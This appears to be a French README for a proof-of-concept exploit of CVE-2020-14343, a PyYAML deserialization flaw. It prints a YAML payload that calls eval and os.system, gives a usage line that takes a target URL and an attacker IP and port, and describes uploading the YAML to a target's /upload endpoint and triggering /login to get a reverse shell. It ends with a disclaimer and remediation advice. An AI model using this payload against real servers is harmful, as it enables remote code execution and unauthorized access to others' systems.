CVE-2020-14343 PyYAML — POC de la vulnérabilité de désérialisation

Aperçu de la vulnérabilité

Élément	Information
Numéro CVE	CVE-2020-14343
Composant affecté	PyYAML < 5.4
Type de vulnérabilité	Exécution de code à distance par désérialisation (RCE)
Niveau de gravité	Élevé

Principe de la vulnérabilité

Lorsque PyYAML utilise yaml.load() pour analyser des données non fiables, il ne limite pas les balises YAML dangereuses (telles que !!python/object). Un attaquant peut alors construire un contenu YAML malveillant afin d'exécuter du code Python arbitraire.

Partie centrale du payload :

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

Utilisation

python poc.py <目标URL> <攻击者IP> <监听端口>

Exemple :

python poc.py http://vulnerable-site.com 192.168.1.100 4444

Déroulement de l'attaque

1. Le script démarre un écouteur TCP en local
2. Il téléverse le fichier YAML malveillant sur le point d'accès /upload de la cible
3. Il déclenche le point d'accès /login pour charger et analyser le YAML
4. Le serveur cible exécute le payload et renvoie un shell à l'attaquant

Installation des dépendances

pip install requests

Avis de non-responsabilité

⚠️ Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés !

• Ne pas l'utiliser à des fins illégales
• S'assurer d'avoir obtenu l'autorisation du système cible avant toute utilisation
• L'auteur n'est pas responsable de toute utilisation abusive

Recommandations de correctifs

1. Utiliser yaml.safe_load() au lieu de yaml.load()
2. Mettre à niveau PyYAML vers la version 5.4 ou ultérieure
3. Valider strictement les entrées utilisateur

Liens de référence

• CVE-2020-14343 - NVD
• Documentation officielle de PyYAML